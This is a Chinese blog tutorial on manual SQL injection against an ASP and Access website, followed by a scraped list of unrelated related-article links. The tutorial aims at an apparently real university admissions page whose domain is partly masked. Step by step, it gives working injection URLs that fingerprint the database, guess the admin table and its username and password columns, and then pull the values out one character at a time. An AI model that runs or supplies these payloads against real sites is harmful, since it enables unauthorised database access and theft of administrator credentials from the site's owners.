ASP+ACCESS手工注入详解
SQL注入这么长时间,看见有的朋友还是不会手工注入,那么我来演示一下。高手略过。
我们大家知道,一般注入产生在没经过虑的变量上,像ID?=XX这样的。
下面以这个网址为例:
http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=1 返回了正常
http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=2 返回了错误
1=1是一个真,1=2是一假,所以会返回一个正常一个错误。
SQL数据就会变成如下:
select * from 表名 where 字段='24'
或者:
http://zsb.xxx.edu.cn/2j.asp?id=24 and '1'='1'
http://zsb.xxx.edu.cn/2j.asp?id=24 and '1'='2'
注入存在了,判断数据库是ACC或MSS的,利用系统表
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,
在WEB环境下有访问权限。对于以下两条语句:
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from sysobjects)>0
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from msysobjects)>0
若数据库是SQL-SERVE,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常。
我们提交后两条后都为异常,可以判断为ACC的数据库。
图3。
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from 表名)>0
如果表名存在就会返回正常,反页错误。
刚开始我提交:
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from admin)>0
返回错误,说明不存在ADMIN这个表,当后来提交这个返回正常:
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from article_admin)>0
说明存在article_admin这个表。
猜列名:
and (select count(字段名) from article_admin)>0
提交:
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(username) from article_admin)>0
返回了正常,接着提交:
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(password) from article_admin)>0
返回了正常,说明存在username和password这两个字段名。
猜用户名和密码长度;
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(username) from article_admin)=5
返回正常,说明username内容长度为5
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(password) from article_admin)=16
正常,password内容长度为16,也就是MD5的值。
猜用户名和密码内容:
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 asc(mid(username,1,1)) from article_admin)=97
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
猜第二位把username,1,1改成username,2,1就可以了。
猜密码把username改成password就OK了
ASP+ACCESS手工注入详解的更多相关文章
- 安全测试基础-SQL注入详解
1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...
- ASP.NET 操作Cookie详解 增加,修改,删除
ASP.NET 操作Cookie详解 增加,修改,删除 Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份而储存在用户本地终端上的数据(通常经过加密).定义于RFC2109.它 ...
- ASP.NET 运行时详解 揭开请求过程神秘面纱
对于ASP.NET开发,排在前五的话题离不开请求生命周期.像什么Cache.身份认证.Role管理.Routing映射,微软到底在请求过程中干了哪些隐秘的事,现在是时候揭晓了.抛开乌云见晴天,接下来就 ...
- ASP.NET运行时详解 集成模式和经典模式
遗留问题 在<ASP.NET运行时详解 生命周期入口分析>中遗留两个问题,包括Application的InitInternal方法执行细节.IIS6和II7经典模式请求管道管理类Appli ...
- ASP.NET生命周期详解
最近一直在学习ASP.NET MVC的生命周期,发现ASP.NET MVC是建立在ASP.NET Framework基础之上的,所以原来对于ASP.NET WebForm中的很多处理流程,如管道事件等 ...
- ASP.NET生命周期详解 [转]
最近一直在学习ASP.NET MVC的生命周期,发现ASP.NET MVC是建立在ASP.NET Framework基础之上的,所以原来对于ASP.NET WebForm中的很多处理流程,如管道事件等 ...
- ASP.NET生命周期详解(转)
看到好文章需要分享. 最近一直在学习ASP.NET MVC的生命周期,发现ASP.NET MVC是建立在ASP.NET Framework基础之上的,所以原来对于ASP.NET WebForm中的很多 ...
- 如何利用IIS调试ASP.NET网站程序详解
如何利用IIS调试ASP.NET网站程序详解 更新时间:2019年01月13日 08:44:13 作者:江湖逍遥 我要评论 这篇文章主要给大家介绍了关于如何利用IIS调试ASP.NET网 ...
- 手工注入——access手工注入实战和分析
今天进行了access手工注入,下面是我的实战过程和总结. 实战环境使用的是墨者学院的在线靶场.下面咱们直接进入主题. 第一步,判断注入点 通过‘ 或者 and 1=1 和 and 1=2 是否报错, ...
随机推荐
- JS 之性能优化(1)
了解JS性能优化是学习前端必备的一项技能.下面就简单的列出几点: 1.注意作用域,避免全局查找. 访问全局变量比访问局部变量慢,是因为需要遍历作用域链,查找作用域链需要额外的时间.所以在一个函数中,将 ...
- [matlab]改变矩阵的大小并保存到txt文件
要完成的任务是,加载一个保存在txt文件中的矩阵, 并把它扩大10倍,并且要再次保存回去 %加载txt文件 >load('Matrix.txt'); %扩大10倍 repmat(Matrix,r ...
- Java从0开始学——字符串
#,java中的字符串是不可变的: #,比较两个字符串是不是相等,不能用==,因为那只能确认他们是否指向了同一个字符串对象: #,空串和null是不同的: #,代码点和代码单元 #,代码点表示 ...
- Linux基础入门学习笔记20135227黄晓妍
学习计时:共24小时 读书:1小时 代码:8小时 作业:3小时 博客:12小时 一.学习目标 1. 能够独立安装Linux操作系统 2. 能够熟练使用Linux系统的基本命令 3. 熟练使用L ...
- 20135316王剑桥 linux第十一周课实验笔记
getenv函数 1.获得环境变量值的函数 2.参数是环境变量名name,例如"HOME"或者"PATH".如果环境变量存在,那么getenv函数会返回环境变量 ...
- 学习笔记——Maven实战(七)常用Maven插件介绍(上)
我们都知道Maven本质上是一个插件框架,它的核心并不执行任何具体的构建任务,所有这些任务都交给插件来完成,例如编译源代码是由maven-compiler-plugin完成的.进一步说,每个任务对应了 ...
- 如何申请TexturePacker
对于很多做手机游戏的和用starling做页游的盆友,对TexturePacker应该并不陌生,但是呢,能免费申请注册码你造吗,你想要吗,TexturePacker的作者Adreas是个好人,只要你R ...
- 从数据包谈如何封杀P2SP类软件
概述 1.1背景介绍 我们经常在用户的网络中发现大量的P2P应用,占用了网络中大量的宝贵带宽资源,用户的网络管理者也知道内网中存在这些应用,也采取了一些限制措施,但是效果并不一定理想.本文试着以数据包 ...
- jquery封装常用方法
var git = { //true表示格式正确 checkEmail: function (str) { -]{,})(\S*)/g) == null) { return false; } else ...
- WebView加载本地html、js文件常见问题及解决办法
声明:基于android studio平台,php语言搭建服务器 目录: 一.JavaScript脚本语言没有反应 二.alert无法弹出 三.html页面之间不能跳转 四.屏幕缩放没有达到预期效果 ...